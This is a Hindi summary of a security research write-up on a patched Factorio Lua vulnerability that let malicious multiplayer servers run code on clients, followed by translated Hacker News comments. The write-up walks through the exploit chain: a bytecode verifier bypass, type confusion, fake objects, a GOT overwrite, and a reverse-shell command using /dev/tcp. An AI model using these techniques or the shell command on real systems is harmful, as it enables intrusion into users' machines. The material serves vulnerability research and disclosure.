- Factorio के Lua implementation की vulnerability ने दुर्भावनापूर्ण servers को कनेक्ट होने वाले clients पर arbitrary code execution हासिल करने की अनुमति दी, और इसका प्रभाव पहले ही patch किए जा चुके 1.1.101 से कम versions तक सीमित था
- Multiplayer deterministic lockstep तरीके से वही Lua code चलाता है, इसलिए attacker malicious custom map के जरिए network path पर vulnerability trigger कर सकता था
- समस्या के केंद्र में
basemodule केload/loadstringद्वारा अनुमति दी गई bytecode execution और Factorio के अपने verifier मेंOff-By-Oneतथा type validation की कमी थी - Exploit ने
FORLOOPtype confusion से address leak किया, फिर upvalue index manipulation के जरिएLClosureऔरTStringको confuse कर fake object और arbitrary read/write बनाया - Linux RCE ने GOT में
ldexpaddress कोsystemसे बदलकरmath.ldexpcall का दुरुपयोग किया, और Factorio के struct offsets व%aformat differences के कारण अलग adjustments की जरूरत पड़ी
Vulnerability scope और Lua exposure path
- Factorio के Lua implementation की vulnerability ने malicious server को client पर arbitrary code execution हासिल करने की अनुमति दी, और Factorio 1.1.101 से कम versions प्रभावित थे
- Lua का उपयोग Factorio में game logic, mods और custom maps implement करने के लिए होता है
- Mods game के अंदर से या Factorio Mods से लिए जा सकते हैं
- Modding community में हजारों mods हैं, और कुछ के downloads 5 लाख से अधिक हैं
- यह पहली नज़र में ऐसा local attack लगता है जिसमें malicious mod को सीधे install करना पड़े, लेकिन multiplayer synchronization तरीके के कारण Lua interpreter network path पर expose हो जाता है
- Factorio multiplayer deterministic lockstep का उपयोग करता है
- Game state खुद नहीं, बल्कि केवल user inputs network पर भेजे जाते हैं
- सभी players के games को हर tick बिल्कुल समान तरीके से simulate करना होता है
- यदि एक player Lua code चलाता है, तो बाकी players को भी synchronization के लिए वही code चलाना होता है
- Attacker द्वारा Lua code execute कराने के रास्ते दो तरह से संक्षेप में बताए जा सकते हैं
- permission होने पर
/ccommand से server पर Lua code execute करना - Lua code वाला custom map बनाना ताकि client server से connect करते समय उसे execute करे
- permission होने पर
- Server browser में malicious server दिखाने पर victim map download करके Lua code execute करने की flow बन सकती है
पूरा attack flow
- Attack इस रूप में शुरू होता है कि Factorio server malicious map provide करता है
- Map के scenario Lua code में exploit शामिल किया जाता है
- Client server से connect करता है तो map download करता है और संबंधित Lua code execute करता है
- इसके बाद Lua implementation की कमजोरियों का इस्तेमाल करके fake object बनाया जाता है
- Fake object memory leaks और memory corruption को संभव बनाता है
- इसके परिणामस्वरूप code execution तक ले जा सकने वाले कई primitives बनाए जा सकते हैं
- Dynamic languages में fake object attacker को मजबूत control दिलाने का core तरीका होता है
- Strings arbitrary data leak के लिए इस्तेमाल हो सकती हैं
- Arrays या tables arbitrary memory write के लिए इस्तेमाल हो सकते हैं
- Native function call path हो तो execution flow control तक बात जा सकती है
Lua bytecode execution और verifier problem
- Factorio में शामिल Lua modules सीमित हैं
debug: debug features तक accessmath: standard C math interfacebit32: bit operationsstring: string manipulationtable: table manipulationbase:printजैसे Lua core functions
os.executeजैसे स्पष्ट रूप से dangerous modules मौजूद नहीं हैं, लेकिनbasemodule केloadऔरloadstringbytecode execution की अनुमति देते हैं, इसलिए attack surface बड़ा है- Lua source code को पहले Lua bytecode में compile करता है और फिर interpreter में चलाता है
- Bytecode CPU machine code नहीं, बल्कि ऐसी representation है जिसे केवल Lua interpreter चला सकता है
- यदि bytecode सीधे inject किया जा सके, तो ऐसा invalid bytecode चलाया जा सकता है जो normal compiler नहीं बनाता
- Lua developers arbitrary bytecode execution के खतरे को जानते थे और उन्होंने verifier बनाया था, लेकिन Lua 5.2 में उसे हटा दिया
- Lua mailing list में यह बात दर्ज है कि पुराना verifier बार-बार bypass हुआ, और arbitrary Lua code चलाने वाले applications के लिए precompiled scripts स्वीकार न करना बेहतर है
- Factorio developers ने Lua 5.2.1 में अपना bytecode verifier implement किया लगता है
- Protection logic code के बाहर jump या constant array range के बाहर index जैसे स्पष्ट OOB parameters को रोकने पर केंद्रित था
- कुछ opcode semantics के कारण
Off-By-Oneissue था, औरJMP 0जैसे jump offset handling में code block से बाहर jump किया जा सकता था - Constant area code chunk के बाद allocate हो सकता था, इसलिए attacker constant section में bytecode store करके off-by-one jump से checks bypass कर execute कर सकता था
Address leak: FORLOOP type confusion
- Lua internal objects को
TValueसे represent किया जाता हैTValuevalue area यानीValueऔर type बताने वालेtt_से बना होता हैValue8-byte space है, जिसे type के अनुसार double या pointer की तरह interpret किया जाता है
- Lua 5.2 में सभी numbers double के रूप में represent होते हैं
- Numbers pointer से गुजरे बिना
Valueunion के अंदर inline store हो सकते हैं - यदि string pointer को number की तरह interpret करा दिया जाए, तो pointer bits double value के रूप में expose हो सकते हैं
- Numbers pointer से गुजरे बिना
- सामान्य Lua में
print(function)address print कर सकता है, लेकिन Factorio में इसे हटा दिया गया था, और string addresses भी सीधे leak नहीं हो सकते थे - Loop opcode
FORLOOPको आम तौर परFORPREPके बाद आना चाहिएFORPREPजांचता है कि start value, limit value और step number हैं या नहींFORLOOPके अंदर step parameter का type check नहीं होता, औरlua_assertआधारित check default build में enforce नहीं होता
- Attacker bytecode manipulate करके
FORPREPहटाकर केवलFORLOOPexecute करा सकता है- Normal Lua source से compiler जो situation नहीं बनाता, उसे bytecode से बनाया जाता है
- यदि string जैसे object को step position में रखा जाए, तो उस
TValueका pointer double की तरह interpret होकर leak हो जाता है
- Leaked value normal double नहीं होती, बल्कि pointer bits को double की तरह interpret की गई value होती है, इसलिए यह
2.1944577826691e-317जैसी छोटी value दिखती है- IEEE 754 binary64 sign के 1 bit, exponent के 11 bits और mantissa के 52 bits से बना होता है
- Pointer value denormalized double जैसी दिखे तो mantissa से original value recover की जा सकती है
- Lua 5.2 में pack/unpack और integer type नहीं हैं, इसलिए conversion tricky है
- शुरुआत में
string.format("%.13a", double)से mantissa और exponent पढ़कर pointer restore किया गया - Example leaked value
0x43d6c0pointer के रूप में recover हुई, और actual string dataTStringheader के 24 bytes बाद स्थित था
- शुरुआत में
Upvalue manipulation और LClosure type confusion
- Upvalue Lua का वह mechanism है जिससे current function के बाहर के scope की variables access की जाती हैं
- Bytecode की upvalue information में index, name, stack position होने की जानकारी और stack index शामिल होते हैं
- Attacker bytecode में शामिल upvalue index modify कर सकता है
- Upvalue index बदलने पर original local variable की जगह stack के किसी दूसरे
TValueको reference किया जा सकता है- Example में
targetupvalue index को एक बढ़ाकर current function केLClosureकी ओर point कराया गया - Manipulated bytecode
nilकी जगहLClosure: 0x...print करता है
- Example में
- Lua में function की actual execution unit Prototype और Closure में बंटी होती है
Protobytecode, constants, source lines, upvalue information आदि के लिए function template की तरह काम करता हैLClosureexecution के दौरान बनता है औरProtoतथा upvalue list को जोड़ता है
CLOSUREopcode नया Lua closure बनाता है, उसे stack पर रखता है और फिर upvalues initialize करता है- यदि 3 local variables हों, तो नया
LClosurebase + 3पर रखा जा सकता है - Upvalue index को
3में बदलने से उस position काLClosureTValueपकड़ा जा सकता है
- यदि 3 local variables हों, तो नया
- जब inner function outer function के
LClosureको string से overwrite कर देता है, तो return के बाद Lua string कोLClosureकी तरह इस्तेमाल करने की कोशिश करता है और crash होता हैOP_RETURNpath का type checklua_assertपर निर्भर है और default settings में enforce नहीं होता- परिणामस्वरूप current execution frame का
clactualLClosureनहीं, बल्कि attacker-controlledTStringकी ओर point कर सकता है
TStringऔरLClosureके layout difference का उपयोग करने पर string user data areaProto *pऔरUpval **upvalpositions से overlap करता है- इस type confusion से function prototype pointer और upvalue array pointer control किए जा सकते हैं
- यदि इन्हें controllable memory area की ओर point कराया जाए तो fake object बनाया जा सकता है
Fake objects और read/write primitives
- Fake object creation paths broadly दो हैं
- fake
Protoको fakeTValuearray की ओर point कराने वाला path - fake
UpValarray को fakeTValueकी ओर point कराने वाला path
- fake
- Constant path चुना गया क्योंकि padding कम है और function में constants को फिर से इस्तेमाल किया जा सकता है
- fake
TString - fake
TStringकी ओर point करने वालाTValuearray - fake
TValuearray की ओर point करने वालाProto - fake
Protoकी ओर point करने वालाLClosure
- fake
- Fake
TStringकी length arbitrary रूप से बड़ी set करके इसे read primitive के रूप में इस्तेमाल किया जा सकता है- माना जाता है कि Lua string data
TStringheader के बाद होता है str:sub()से fake string की पहुंच में आने वाली memory read की जा सकती है- Lua string index 1 से शुरू होता है, इसलिए header calculation में 1-byte adjustment चाहिए
- माना जाता है कि Lua string data
- Write primitive इस तरह बनाया जाता है कि fake
UpValwrite target address केTValueकी ओर point करे- Lua variable में number assign करने पर उस location पर number
TValueलिखा जाता है - Number
TValueके पहले 8 bytes में inline store होता है, इसलिए value area control किया जा सकता है - साथ ही अगले 8 bytes में type information लिखी जाती है, जिससे आसपास की memory भी corrupt हो सकती है
- Lua variable में number assign करने पर उस location पर number
- Lua numbers double हैं, इसलिए desired integer bit pattern लिखने के लिए conversion की जरूरत होती है
- Denormalized double की minimum unit
2^-1074का इस्तेमाल होता है integer_to_double(integer) = integer * 2^-1074रूप में integer को double representation में encode किया जाता है
- Denormalized double की minimum unit
Command pointer control और ASLR bypass
- Lua का
Light C Functionfunction pointer कोTValueके अंदर inline store करता है- Function type
LUA_TFUNCTIONहै, औरLight C FunctionकोLUA_TLCFvalue22से represent किया जाता है TValueके value area में0xdeadbeefऔर type area में22डालने पर उसे उस address के function की तरह call किया जा सकता है
- Function type
- Fake
Light C Functioncall करने पर instruction pointer control किया जा सकता है- Example में
RIP0xdeadbeefहो जाता है और crash होता है - इसके बाद ROP chain जैसी execution-flow changing techniques तक जाया जा सकता है
- Example में
Light C Functionpointer inline store होता है, यह address leak के लिए भी उपयोगी है- यदि Lua functions light C function के रूप में implemented हों, तो address leak primitive से
printजैसे functions के addresses पढ़े जा सकते हैं - इससे ASLR bypass के लिए जरूरी base address calculate किया जा सकता है
- यदि Lua functions light C function के रूप में implemented हों, तो address leak primitive से
- यदि sandboxed function binary में बचा हो, तो fake function को उस address की ओर point कराकर call करने का bypass भी संभव है
Factorio के लिए adjustments
- Initial tests official Lua interpreter पर किए गए थे, लेकिन Factorio का Lua implementation struct layout में अलग है
- Factorio के GC object
CommonHeaderमेंpreviouspointer जोड़ा गया है- Official Lua में
next,tt,markedstructure है - Factorio में
previous,next,tt,markedstructure दिखता है
- Official Lua में
- इस अंतर से कुछ offsets 8 bytes आगे खिसक जाते हैं
TStringheader 24 bytes नहीं, बल्कि 32 bytes हो जाता है- String content address calculation और read primitive के relative address calculation को modify करना पड़ता है
- Fake
UpValऔर fake closure calculation में भी extra pointer को account करना पड़ता है
- Factorio में
%aformat behavior भी official Lua tests से अलग थाstring.format("%.13a", 2.1038461432219e-316)expected0x0.000000289c130p-1022के बजाय0xa.2704c00000000p-1052form देता है- इस वजह से string-format based double recovery टूट गई
- Final conversion को pure numeric method में बदला गया
- Denormalized value को ऐसा माना जा सकता है कि सभी integers rightmost least significant bit के आधार से शुरू होते हैं
double_to_number(double) = double * 2^52 * 2^1022से leaked value restore की जाती है2^1074double में represent नहीं हो सकता, इसलिए multiplication को दो steps में बांटा गया
Linux RCE: GOT replacement और math.ldexp
- Linux में चुना गया RCE path ROP chain के बजाय GOT replacement का उपयोग करता है
- Lua से callable और first argument controllable imported function खोजा गया
- उस function की GOT entry को
systemaddress से overwrite किया गया - Lua से उस function को call कराकर उसे
system(command)की तरह behave कराया गया
- Factorio की restricted Lua library के भीतर
math.ldexpsuitable function के रूप में इस्तेमाल हुआ- Internally यह
ldexp(luaL_checknumber(L, 1), luaL_checkint(L, 2))call करता है - GDB verification में यह स्थिति confirm हुई कि दूसरा Lua argument libc call के first register argument
RDIमें pass हो रहा था
- Internally यह
- GOT heap से पहले है, इसलिए existing fake-string read primitive से इसे सीधे पढ़ना कठिन है
- Read primitive केवल fake string header के बाद के addresses पढ़ सकता है
- GOT से पहले के writable segment का उपयोग करके GOT से पहले वाली location पर fake
TStringबनाया गया
- GOT से पहले fake
TStringबनाने पर libc function address पढ़कर ASLR bypass किया जा सकता है- Example में GOT से
memcpyaddress पढ़ा गया - Fedora 39 के libc 2.38 offsets से
libc_base = memcpy - 0x138b80,system = libc_base + 0x2a3b0calculate किया गया
- Example में GOT से
- इसके बाद
ldexpGOT entry कोsystemaddress से overwrite किया गया- Example addresses में
0x289ef00locationldexpGOT entry के रूप में इस्तेमाल हुई write(0x289ef00, system)रूप में overwrite किया गया
- Example addresses में
Command execution और final remote shell
- शुरुआत में command को Lua string में store करके
math.ldexp(0, addr_of(cmd) + 32)से call करने की कोशिश की गई- Command
sh -c "sh -i >& /dev/tcp/127.0.0.1/9001 0>&1 &"form में था - लेकिन Lua ने
ldexpको 32-bit parameter के रूप में call किया, जिससे string address के upper bits कट गए और यह fail हो गया
- Command
- Workaround यह था कि पहले fake string बनाने में इस्तेमाल किए गए binary writable segment में command string सीधे लिखी जाए
- PIE enabled नहीं था, इसलिए main binary address काफी छोटा था
- Address
0x289c150के आसपास command string को कईwrite()calls से record किया गया
math.ldexp(0, 0x289c150)call GOT replacement के बादsystem(0x289c150)call की तरह behave करता है- Final execution result local
nc -lvp 9001listener से connected shell के रूप में confirm हुआ- Shell prompt
sh-5.2$था whoamiresultvictimथा
- Shell prompt
Practice challenge और reference material
- Article के अंत में एक browser-based challenge दिया गया है जिसमें Lua interpreter से escape करके ऐसी JavaScript function execute करनी है जिसे Lua code से सीधे call नहीं किया जा सकता
- Challenge: Escape from Alcawasm
- Related reference links
- Lua bytecode verifier removal background: lua-l mailing list Wayback copy
- Factorio Lua verifier code: Factorio Lua
- Lua number implementation: Programming In Lua: Numbers
- Lua closures: Programming in Lua: Closures
%aformat explanation: GNU libc Floating-Point Conversions- Lua 5.1 Windows exploit reference: Exploiting Lua 5.1 on 32-bit Windows
1 टिप्पणियां
Hacker News की राय
यह अप्रत्याशित है
Lua bytecode को interpret करता है, इसलिए लगा था कि यह जांच सकता होगा कि command arguments अर्थपूर्ण हैं या नहीं। जैसे, क्या वे Lua द्वारा allocate की गई memory की ओर इशारा करते हैं वगैरह
लेकिन असल में ऐसा नहीं था, और गलत arguments वाला bytecode डालने पर भी वह वैसे ही execute हो जाता है। उसके बाद compromise की प्रक्रिया वहीं से आगे बढ़ती है
ऊपर से interpreter को ठीक करने के बजाय bytecode का static analysis करने की योजना है, लेकिन यह सिर्फ सरल मामलों में काम आने जैसा लगता है
sandbox-friendly interpreter language के लिहाज से यह काफी निराशाजनक है, और सोच रहा हूं कि क्या वे interpreter को input पर भरोसा न करने वाला patch स्वीकार करेंगे। लगता है उन्हें performance degradation की चिंता है, लेकिन जब तेज़ विकल्प LuaJIT है तो यह संदेहास्पद लगता है
यह तरीका समझदारी भरा लगता है, क्योंकि trusted bytecode को direct load करने का विकल्प बचा रहता है, और interpreter में ऐसे dynamic checks डालने की जरूरत नहीं पड़ती जो सभी users को प्रभावित करें
Design के हिसाब से Lua termination guarantee नहीं देता, और untrusted program को जबरन terminate करने का कोई अच्छा तरीका भी नहीं है। अगर आप untrusted Lua input लेते हैं, तो मानकर चलना चाहिए कि program अनिश्चित समय तक hang हो सकता है
Lua ऐसे semi-trusted input के लिए बेहतरीन है जिस पर कम-से-कम due diligence हुई हो, जैसे internet से download किया गया code। Code सचमुच malicious हो तब भी यह नुकसान को काफी सीमित कर सकता है, पर पूरी तरह खत्म नहीं कर सकता
अगर JavaScript की तरह पूरी तरह untrusted input चाहिए, तो Roblox fork Luau सही है: https://luau-lang.org/sandbox
दूसरी languages ने जैसा दिखाया है, bytecode के लिए safe interpreter बनाना कोई आसान काम नहीं है। यह reference implementation को सरल रखने वाला trade-off भी है
third-party code execution के मामले में मैं ऐसे अधिकांश interpreters पर भरोसा नहीं करता। Web browser को मिलने वाले R&D budget और attention को देखते हुए भी browser पर भी बस मुश्किल से भरोसा करता हूं
यह arbitrary machine code execute न करने जैसा ही है
Luau में भी यही गुण है, लेकिन ऐसा नहीं है कि Roblox हमेशा sandbox escape से परेशान रहता हो
काश ये हिस्से ज्यादा साफ तौर पर define या document किए गए होते। अभी स्थिति यह है कि हमें खुद पता लगाना पड़ता है कि कौन-सी language वाजिब रूप से safe मानी जा सकती है
उदाहरण के लिए static code का basic case है जिसे user खुद execute करता है, और आम तौर पर languages, Lua सहित, इसी case की परवाह करती हैं
फिर वह case है जहां update process में code dynamically लिया और execute किया जाता है, लेकिन केवल official channels इस्तेमाल होते हैं। यहां process को safe बनाकर बात संभल सकती है, लेकिन यह पक्का नहीं है
एक case यह भी है कि users plugin के रूप में code जोड़ सकते हैं, और store से एक button दबाकर आसानी से install कर सकते हैं। Plugins को review किया जा सकता है, लेकिन आम तौर पर यह ठीक से नहीं होता, इसलिए देखना पड़ता है कि sandbox चाहिए या user को सावधान रहना चाहिए
multiplayer game में ऐसा भी हो सकता है कि सिर्फ server plugins से extend हो, client नहीं। यह ध्यान रखना होगा कि server चलाने वाले gamers कई plugins सक्रिय रूप से try करते हैं, और plugin community कहीं ज्यादा जोखिमभरी हो सकती है
आखिर में browser जैसा multiplayer game है, जहां server client पर arbitrary code चला सकता है। इस case में खास तौर पर client-side sandbox को लेकर बहुत सावधानी चाहिए। क्योंकि gamers security impact सोचे बिना arbitrary servers में घुस जाते हैं
Factorio ठीक यही आखिरी case है। मैं इस बात का जरूरी तौर पर विरोध नहीं करता कि developers को इसका assessment करना चाहिए, लेकिन मसलन Lua के
loadfunction से unsafe arbitrary bytecode चल सकता है, यह बात हमेशा साफ नहीं होतीसच कहूं तो मुझे नहीं पता था कि Lua bytecode unsafe है, और यह पता था कि LuaJIT bytecode unsafe है। लेकिन यह तथ्य mailing list या GitHub issues में कहीं-कहीं obvious fact की तरह लिखा हुआ दिखता है
Server client को hang कर सकता है, यह समस्या भी है। बस infinite loop चलाना काफी है। हालांकि इससे बचना कहीं ज्यादा कठिन है, और शायद बचने की कोशिश करना ही बेकार हो सकता है
client side पर browser बंद करने का option नहीं था, और मेरी जानकारी में developers ने आखिरकार इसे पूरी तरह disable कर दिया, लेकिन अभी की स्थिति पक्की नहीं है
यह दिखाता है कि games और game engines कितने complex हो गए हैं। जहां कोई खास वजह नहीं दिखती, वहां भी embedded web browser मौजूद है
Factorio के पीछे वाकई एक बहुत अच्छी development team है, इसलिए भरोसा है कि वे ऐसी समस्याओं को ठीक करने की पूरी कोशिश कर रहे होंगे। हालांकि game development कुल मिलाकर बहुत creative काम होता है, इसलिए code practices या security जैसी चीज़ें शायद पीछे छूट जाती हैं
game clients और servers में कितनी zero-day vulnerabilities छिपी होंगी, यह सोचकर जिज्ञासा होती है
शुरुआत के लिए Flatpak मददगार हो सकता है। container कोई मजबूत security boundary नहीं है, लेकिन simple exploits को रोक सकता है
यह सिर्फ official online services इस्तेमाल करवाने वाला business decision नहीं है। third-party server IP connections रोक देने पर network code या game के बाकी हिस्सों में गंभीर bugs हों, तब भी उनका exploit नहीं हो सकता। mods, यहां तक कि Lua जैसे “safe” mods को भी सीमित करने से exploits और रोके जा सकते हैं
buggy network code ने इतिहास में कई consoles के DRM को तोड़ा है
exploits के अलावा, consoles इस बात पर गर्व करते हैं कि code distribute होने से पहले review से गुजरता है। remote system पर Lua execution की अनुमति देने का मतलब है कि approval के बाद भी game को खुद developer द्वारा remotely reconfigure किया जा सकता है, और console manufacturers बहुत गहन review के बिना इसकी अनुमति नहीं देना चाहेंगे
आदर्श रूप से इसे virtual machine में isolate करना चाहिए, लेकिन gaming virtual machine setup बहुत झंझट वाला है और anti-cheat इस्तेमाल करने वाले कुछ games में आप बाहर किए जा सकते हैं
यह सोचकर लगभग अफसोस होता है कि इतने skilled लोग game industry में काम कर रहे हैं, जबकि दूसरे fields को अच्छे programmers की बेहद जरूरत है
आम तौर पर program verification सिर्फ Rice theorem की वजह से नहीं, बल्कि अपने-आप में बेहद कठिन है। खासकर Lua जैसी non-trivial bytecode language में miss करने लायक points बहुत आसानी से पैदा हो जाते हैं। Wasm में, उदाहरण के लिए, for loop की अवधारणा नहीं है
upstream project ने इस problem को बहुत कठिन बताकर छोड़ दिया था, उसके बाद Factorio developers का verifier को ठीक करने या खुद लिखने की कोशिश करना अजीब है
Minetest का
loadstringfunction bytecode को पूरी तरह ban करता है: https://github.com/minetest/minetest/blob/9a1501ae89ffe79c38...मुझे जिज्ञासा है कि Factorio mods को raw Lua bytecode चलाने की क्षमता की जरूरत क्यों है। अगर जरूरत नहीं है, तो verifier की भी जरूरत नहीं होती
शुरुआत में ही network से downloaded Lua code execute करना काफी risky है। JavaScript execution environments दशकों से exploit discovery और fixing के cycle से गुजरते आए हैं। Lua में भी ऐसा होता है, लेकिन scale छोटा है और security सुधारने के लिए लोग भी कम हैं
मुख्य protection शायद यह है कि malicious game server चलाने वाले लोग कम हैं
मिलते-जुलते security reasons से debug library भी लगभग पूरी तरह mods के लिए unavailable कर दी गई
loadstring()function से bytecode functionality हटानी चाहिएउदाहरण के लिए ROBLOX developers ने 12 साल पहले इस पर लिखा था: https://archive.is/oXPyM
ईमानदारी से कहें तो इसे default रूप से disable करना बेहतर होगा। इसके legitimate use cases काफी niche हैं
इसके अलावा Turing-complete environment में बस run न हो सकने वाला software बनाना काफी restrictive है
किसी भी तरह, मजबूत permission system वाला interpreter सच में जरूरी है
लेकिन अगर आपने practical requirements को satisfy करने वाले inputs में से केवल कुछ को accept करने का compromise कर लिया है, तो Rice theorem की बात खत्म। अब impossible task की जगह सिर्फ extremely difficult task बचता है
fail होने पर भी कम-से-कम यह सुनने को नहीं मिलेगा कि यह impossible था—यह शायद थोड़ी राहत हो सकती है
Factorio को यह रास्ता नहीं लेना चाहिए था
यह बिल्कुल beginner question है, लेकिन games Lua क्यों इस्तेमाल करते हैं और, उदाहरण के लिए, game state adjust करने वाली API जैसा defined interface रखने वाला embedded JavaScript क्यों नहीं इस्तेमाल करते?
ऐसा लगता है कि browser environment isolation पर हुए कहीं ज्यादा मजबूत hardening work का फायदा मिल सकता है। browsers कठिन हैं, बहुत अच्छी तरह tested हैं, और उन पर बहुत funding लगी है
dynamic typing performance optimization पर भी भारी काम हुआ है
इसके अलावा अगर mods को UI चाहिए तो canvas है, और अगर DOM जैसा model दिया जाए तो React जैसी चीजें भी potentially संभव हैं
Lua को खास तौर पर integration के लिए बनाया गया है, इसलिए material भी बहुत है और बड़ी community भी support करती है
साथ ही आप common browser APIs और JavaScript को confuse कर रहे हैं। JavaScript engine canvas या DOM provide नहीं करता। उदाहरण के लिए V8 भी नहीं करता, ये चीजें आपको खुद add करनी पड़ती हैं
मैं security developer नहीं हूँ, लेकिन रस्मन कहना चाहता हूँ, “वाह, यह वाकई बेहद प्रभावशाली है!” इतने जटिल failure case को track करने के लिए कितनी साफ़ और तार्किक सोच चाहिए, इस पर विश्वास करना मुश्किल है। यह निश्चित रूप से मेरी ताकत नहीं है; मैं कहीं ज़्यादा “ideas वाला” इंसान हूँ
content की बात करें तो, अगर ऐसे अजीब memory exploits ढूँढने वाली 10,000 blog posts से लैस AI software engineers का समूह आ गया, तो लगता है हमारी पूरी तरह छुट्टी हो जाएगी
आखिरकार security के लिए कोई बिल्कुल नया paradigm, या कम से कम stack में कोई नया element चाहिए होगा। आज के “trusted” clients या DB roles जैसी बातें Swiss cheese के छेद patch करने जैसी लगती हैं
उम्मीद है कि हम LLM द्वारा manage की जाने वाली Swiss cheese की एक और नई layer ऊपर चढ़ा पाएँगे
तो क्या यह बस ऐसे exploit को नहीं दिखाता जो bytecode loading पर निर्भर है—एक ऐसी feature जिसे exploitable बताकर ही promote किया गया था? मैं क्या miss कर रहा हूँ?
jmpजैसे basic instruction को model करते समय off-by-one error, या Lua interpreter का हाथ लगने वाली हर चीज़ को instruction की तरह interpret करने की कोशिश करना—ऐसी simple चीज़ें थींवह data section तक interpret करने लगा जिसे verifier छूता भी नहीं था
loadstringdisabled environment में भी arbitrary bytecode execution संभव हो सकता हैसच में अच्छा है कि इतने capable लोग good side पर हैं
news media उल्टा विश्वास दिलाती है, और ऐसी news पर average comments भी उसी विश्वास को मजबूत करते हैं, लेकिन अगर सच में ऐसा होता तो जिन कई luxuries और medical/social support programs का हम लाभ उठाते हैं, वे संभव कैसे होते
इसका मतलब यह नहीं कि दुनिया में problems नहीं हैं, लेकिन destructive लोगों की तुलना में constructive लोग साफ़ तौर पर बहुत ज़्यादा हैं
मैं अभी Panama Papers से जुड़े HN thread से आया हूँ, इसलिए यह विचार और सामने है। वहाँ माहौल ऐसा cynical था कि सभी अमीर लोग बुरे हैं और सब prosecution से पूरी तरह बच निकले, लेकिन कुछ comments ने ठीक पकड़ा कि असल में दोनों बातें सच नहीं हैं। बस thread में थोड़ा नीचे तक पढ़ना पड़ता है और cynicism में बहना नहीं पड़ता
मेरा मानना है कि Lua bytecode को उन embedded systems के बाहर कभी इस्तेमाल नहीं करना चाहिए जिनके पास Lua source code parser चलाने के resources नहीं हैं
security vulnerabilities के अलावा इसका जो एकमात्र उपयोगी इस्तेमाल दिखता है, वह closed-source programs जैसा कुछ है
शायद मैं miss कर गया होऊँ, और मानता हूँ कि बाद वाला हिस्सा मैंने सरसरी तौर पर पढ़ा, लेकिन लगता है लेखक ने यह बिल्कुल नहीं बताया कि असल में कौन-से mitigations किए गए। उस हिस्से के बारे में और सुनना चाहूँगा
1.1.104: https://github.com/Rseding91/Factorio-Lua/commit/4d924b69808...
और 1.1.107: https://github.com/Rseding91/Factorio-Lua/commit/ce12474c7fc...
सबसे relevant हिस्सा 1.1.104 में
luaB_loadका change था, जिसने simple तौर पर bytecode loading को disable कर दिया